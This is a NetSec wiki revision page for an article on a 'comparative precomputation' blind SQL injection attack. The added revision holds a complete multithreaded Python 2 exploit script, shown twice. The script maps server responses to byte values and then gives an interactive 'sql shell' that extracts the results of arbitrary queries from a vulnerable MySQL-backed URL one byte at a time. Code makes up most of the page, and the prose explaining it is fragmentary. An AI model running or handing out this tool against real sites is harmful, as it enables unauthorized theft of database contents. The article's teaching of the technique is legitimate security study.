Questions about this topic? Sign up to ask in the talk tab.
Difference between revisions of "SQL injection/Blind/Extraction/Precomputation"
From NetSec
(Created page with "==The comparative precomputation attack== '''This attack relies heavily on the <i>remote dataset</i> for successful exploitation and is thus less reliable than other methods.'''...") |
|||
Line 35: | Line 35: | ||
}} | }} | ||
}} | }} | ||
+ | |||
+ | {{code|text=<source lang="python">#!/usr/bin/python2 | ||
+ | import sys | ||
+ | import urllib2 | ||
+ | import time | ||
+ | from binascii import hexlify | ||
+ | import _mysql | ||
+ | import md5 | ||
+ | import pickle | ||
+ | import re | ||
+ | import os | ||
+ | import threading | ||
+ | import Queue | ||
+ | import readline | ||
+ | readline.parse_and_bind('tab: complete') | ||
+ | readline.parse_and_bind('set editing-mode vi') | ||
+ | |||
+ | BOLD = '\033[1m' | ||
+ | BLUE = '\033[34m' | ||
+ | GREEN = '\033[32m' | ||
+ | YELLOW = '\033[33m' | ||
+ | RED = '\033[91m' | ||
+ | ENDC = '\033[0m' | ||
+ | |||
+ | def request(request_url): | ||
+ | req = urllib2.Request(request_url) | ||
+ | req.add_header = ('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17') | ||
+ | r = urllib2.urlopen(req) | ||
+ | return r.read() | ||
+ | |||
+ | def construct_discovery_query(url, column, table, counter): | ||
+ | discovery = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=%s)" | ||
+ | discovery = discovery % (column, column, table, counter) | ||
+ | return url + urllib2.quote(discovery) | ||
+ | |||
+ | def construct_injection_query(url, column, table, query, position): | ||
+ | injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=ascii(substring(compress((%s)) from %s for 1)))" | ||
+ | injection = injection % (column, column, table, query, position) | ||
+ | return url + urllib2.quote(injection) | ||
+ | |||
+ | def get_length(url, column, table, query, ascii_table, counter): | ||
+ | injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=(length(length(compress((%s))))))" % (column, column, table, query) | ||
+ | length_length = url + urllib2.quote(injection) | ||
+ | length_length = ascii_table[md5.new(request(length_length)).digest()] | ||
+ | counter += 1 | ||
+ | |||
+ | length = "" | ||
+ | for i in range(1,length_length+1): | ||
+ | injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=ascii(substring(length(compress((%s))) from %s for 1)))" | ||
+ | injection = injection % (column, column, table, query, i) | ||
+ | request_url = url + urllib2.quote(injection) | ||
+ | length += chr(ascii_table[md5.new(request(request_url)).digest()]) | ||
+ | counter += 1 | ||
+ | |||
+ | return (int(length), counter) | ||
+ | |||
+ | def get_query(prompt): | ||
+ | while 1: | ||
+ | query = raw_input(prompt) | ||
+ | if query != "": | ||
+ | break | ||
+ | return query | ||
+ | |||
+ | def do_query(url, column, table, query, ascii_table, i, q): | ||
+ | tmp = construct_injection_query(url, column, table, query, i) | ||
+ | q.put(chr(ascii_table[md5.new(request(tmp)).digest()])) | ||
+ | |||
+ | def do_table(url, column, table, i, q): | ||
+ | tmp = construct_discovery_query(url, column, table, i) | ||
+ | q.put(md5.new(request(tmp)).digest()) | ||
+ | |||
+ | def print_percent(percent, start_time): | ||
+ | elapsed_time = time.time() - start_time | ||
+ | eta = ((elapsed_time) / percent) * 100 - elapsed_time | ||
+ | sys.stdout.write("\r%s[*]%s Percent complete: %s%.2f%%%s -- Time elapsed: %s%.2f%s seconds -- Estimated time left: %s%.2f%s" % (GREEN, ENDC, YELLOW, percent, ENDC, YELLOW, elapsed_time, ENDC, YELLOW, eta, ENDC)) | ||
+ | sys.stdout.flush() | ||
+ | |||
+ | def do_thread(target, args, counter, length, type_query): | ||
+ | if type_query == 0: | ||
+ | ascii_table = {} | ||
+ | else: | ||
+ | query_result = "" | ||
+ | |||
+ | if type_query == 0: | ||
+ | i = 0 | ||
+ | else: | ||
+ | i = 1 | ||
+ | |||
+ | |||
+ | sys.stdout.write("\r%s[*]%s Percent complete: %.2f%%" % (GREEN, ENDC, 0.0)) | ||
+ | sys.stdout.flush() | ||
+ | start_time = time.time() | ||
+ | |||
+ | while i < length: | ||
+ | threads = {} | ||
+ | queues = [] | ||
+ | |||
+ | for j in range(0,11): | ||
+ | if i < length: | ||
+ | queues.append(Queue.Queue()) | ||
+ | threads[i] = threading.Thread(target=target, args=args + (i, queues[j])) | ||
+ | i += 1 | ||
+ | counter += 1 | ||
+ | print_percent(100 * float(i) / float(length), start_time) | ||
+ | |||
+ | for thread in threads: | ||
+ | threads[thread].start() | ||
+ | |||
+ | for j, thread in enumerate(sorted(threads.iterkeys())): | ||
+ | if type_query == 0: | ||
+ | ascii_table[queues[j].get()] = thread | ||
+ | else: | ||
+ | query_result += queues[j].get() | ||
+ | threads[thread].join() | ||
+ | |||
+ | sys.stdout.write('\n') | ||
+ | sys.stdout.flush() | ||
+ | |||
+ | if type_query == 0: | ||
+ | return ascii_table | ||
+ | else: | ||
+ | return (counter, query_result) | ||
+ | |||
+ | def main(url, column, table): | ||
+ | session_name = re.split("(https?://)?(.*)/", url)[2] | ||
+ | |||
+ | print "%s[*]%s Checking for existing session" % (GREEN, ENDC) | ||
+ | try: | ||
+ | try: | ||
+ | os.stat("data") | ||
+ | except: | ||
+ | os.mkdir("data") | ||
+ | ascii_table = pickle.load(open("data/%s" % session_name, "rb" )) | ||
+ | print "%s[*]%s Loaded precomputation table." % (GREEN, ENDC) | ||
+ | except: | ||
+ | print "%s[*]%s Building precomputation table.." % (GREEN, ENDC) | ||
+ | current = time.time() | ||
+ | ascii_table = do_thread(do_table, (url, column, table, ), 0, 256, 0) | ||
+ | pickle.dump(ascii_table, open("data/%s" % session_name, "wb")) | ||
+ | print "\n%s[*]%s Precomputation table built in %s%f%s seconds." % (GREEN, ENDC, YELLOW, time.time() - current, ENDC) | ||
+ | |||
+ | print "%s[*]%s Enter a sql query:" % (GREEN, ENDC) | ||
+ | |||
+ | while 1: | ||
+ | query = get_query("%ssql shell>%s " % (BOLD, ENDC)) | ||
+ | if query == "exit": | ||
+ | break | ||
+ | |||
+ | query_result = "" | ||
+ | counter = 0 | ||
+ | current = time.time() | ||
+ | (length, counter) = get_length(url, column, table, query, ascii_table, counter) | ||
+ | |||
+ | (counter, query_result) = do_thread(do_query, (url, column, table, query, ascii_table, ), counter, length+1, 1) | ||
+ | |||
+ | query = "SELECT UNCOMPRESS(0x%s)" % hexlify(query_result) | ||
+ | mysql_connection = _mysql.connect('localhost', 'root', 'new-password') | ||
+ | mysql_connection.query(query) | ||
+ | result = mysql_connection.use_result() | ||
+ | data = result.fetch_row()[0][0] | ||
+ | mysql_connection.close() | ||
+ | |||
+ | print data | ||
+ | print "\nRequests: %s%d%s (%s%f%s seconds)\nLength of retrieved data: %s%s%d%s%s" % (YELLOW, counter, ENDC, YELLOW, time.time() - current, ENDC, BOLD, YELLOW, len(data), ENDC, ENDC) | ||
+ | |||
+ | print "%s[*]%s Good bye" % (GREEN, ENDC) | ||
+ | |||
+ | if __name__=="__main__": | ||
+ | if len(sys.argv) != 4: | ||
+ | print "Usage: %s <vulnerable url> <column name> <table name>" % sys.argv[0] | ||
+ | exit() | ||
+ | |||
+ | print "%s[*]%s Attacking: %s%s%s%s%s" % (GREEN, ENDC, BOLD, RED, sys.argv[1], ENDC, ENDC) | ||
+ | main(sys.argv[1], sys.argv[2], sys.argv[3]) | ||
+ | </source>}} |
Revision as of 06:03, 15 November 2012
The comparative precomputation attack
This attack relies heavily on the remote dataset for successful exploitation and is thus less reliable than other methods. This significantly differs from previously discovered single-byte exfiltration techniques because:
|
Requirements:
|
/articles.php?id=1
/articles.php?id=255 Follow the next steps for automation (and sanity's) sake:
Almost done!
And the value of a byte has been determined. Protip: This attack can be extended by:
|
#!/usr/bin/python2 import sys import urllib2 import time from binascii import hexlify import _mysql import md5 import pickle import re import os import threading import Queue import readline readline.parse_and_bind('tab: complete') readline.parse_and_bind('set editing-mode vi') BOLD = '\033[1m' BLUE = '\033[34m' GREEN = '\033[32m' YELLOW = '\033[33m' RED = '\033[91m' ENDC = '\033[0m' def request(request_url): req = urllib2.Request(request_url) req.add_header = ('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17') r = urllib2.urlopen(req) return r.read() def construct_discovery_query(url, column, table, counter): discovery = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=%s)" discovery = discovery % (column, column, table, counter) return url + urllib2.quote(discovery) def construct_injection_query(url, column, table, query, position): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=ascii(substring(compress((%s)) from %s for 1)))" injection = injection % (column, column, table, query, position) return url + urllib2.quote(injection) def get_length(url, column, table, query, ascii_table, counter): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=(length(length(compress((%s))))))" % (column, column, table, query) length_length = url + urllib2.quote(injection) length_length = ascii_table[md5.new(request(length_length)).digest()] counter += 1 length = "" for i in range(1,length_length+1): injection = "(select %s from (select %s,@r:=@r+1 as pos from %s c join (select @r:=0) r limit 255) x where pos=ascii(substring(length(compress((%s))) from %s for 1)))" injection = injection % (column, column, table, query, i) request_url = url + urllib2.quote(injection) length += chr(ascii_table[md5.new(request(request_url)).digest()]) counter += 1 return (int(length), counter) def get_query(prompt): while 1: query = raw_input(prompt) if query != "": break return query def do_query(url, column, table, query, ascii_table, i, q): tmp = construct_injection_query(url, column, table, query, i) q.put(chr(ascii_table[md5.new(request(tmp)).digest()])) def do_table(url, column, table, i, q): tmp = construct_discovery_query(url, column, table, i) q.put(md5.new(request(tmp)).digest()) def print_percent(percent, start_time): elapsed_time = time.time() - start_time eta = ((elapsed_time) / percent) * 100 - elapsed_time sys.stdout.write("\r%s[*]%s Percent complete: %s%.2f%%%s -- Time elapsed: %s%.2f%s seconds -- Estimated time left: %s%.2f%s" % (GREEN, ENDC, YELLOW, percent, ENDC, YELLOW, elapsed_time, ENDC, YELLOW, eta, ENDC)) sys.stdout.flush() def do_thread(target, args, counter, length, type_query): if type_query == 0: ascii_table = {} else: query_result = "" if type_query == 0: i = 0 else: i = 1 sys.stdout.write("\r%s[*]%s Percent complete: %.2f%%" % (GREEN, ENDC, 0.0)) sys.stdout.flush() start_time = time.time() while i < length: threads = {} queues = [] for j in range(0,11): if i < length: queues.append(Queue.Queue()) threads[i] = threading.Thread(target=target, args=args + (i, queues[j])) i += 1 counter += 1 print_percent(100 * float(i) / float(length), start_time) for thread in threads: threads[thread].start() for j, thread in enumerate(sorted(threads.iterkeys())): if type_query == 0: ascii_table[queues[j].get()] = thread else: query_result += queues[j].get() threads[thread].join() sys.stdout.write('\n') sys.stdout.flush() if type_query == 0: return ascii_table else: return (counter, query_result) def main(url, column, table): session_name = re.split("(https?://)?(.*)/", url)[2] print "%s[*]%s Checking for existing session" % (GREEN, ENDC) try: try: os.stat("data") except: os.mkdir("data") ascii_table = pickle.load(open("data/%s" % session_name, "rb" )) print "%s[*]%s Loaded precomputation table." % (GREEN, ENDC) except: print "%s[*]%s Building precomputation table.." % (GREEN, ENDC) current = time.time() ascii_table = do_thread(do_table, (url, column, table, ), 0, 256, 0) pickle.dump(ascii_table, open("data/%s" % session_name, "wb")) print "\n%s[*]%s Precomputation table built in %s%f%s seconds." % (GREEN, ENDC, YELLOW, time.time() - current, ENDC) print "%s[*]%s Enter a sql query:" % (GREEN, ENDC) while 1: query = get_query("%ssql shell>%s " % (BOLD, ENDC)) if query == "exit": break query_result = "" counter = 0 current = time.time() (length, counter) = get_length(url, column, table, query, ascii_table, counter) (counter, query_result) = do_thread(do_query, (url, column, table, query, ascii_table, ), counter, length+1, 1) query = "SELECT UNCOMPRESS(0x%s)" % hexlify(query_result) mysql_connection = _mysql.connect('localhost', 'root', 'new-password') mysql_connection.query(query) result = mysql_connection.use_result() data = result.fetch_row()[0][0] mysql_connection.close() print data print "\nRequests: %s%d%s (%s%f%s seconds)\nLength of retrieved data: %s%s%d%s%s" % (YELLOW, counter, ENDC, YELLOW, time.time() - current, ENDC, BOLD, YELLOW, len(data), ENDC, ENDC) print "%s[*]%s Good bye" % (GREEN, ENDC) if __name__=="__main__": if len(sys.argv) != 4: print "Usage: %s <vulnerable url> <column name> <table name>" % sys.argv[0] exit() print "%s[*]%s Attacking: %s%s%s%s%s" % (GREEN, ENDC, BOLD, RED, sys.argv[1], ENDC, ENDC) main(sys.argv[1], sys.argv[2], sys.argv[3]) |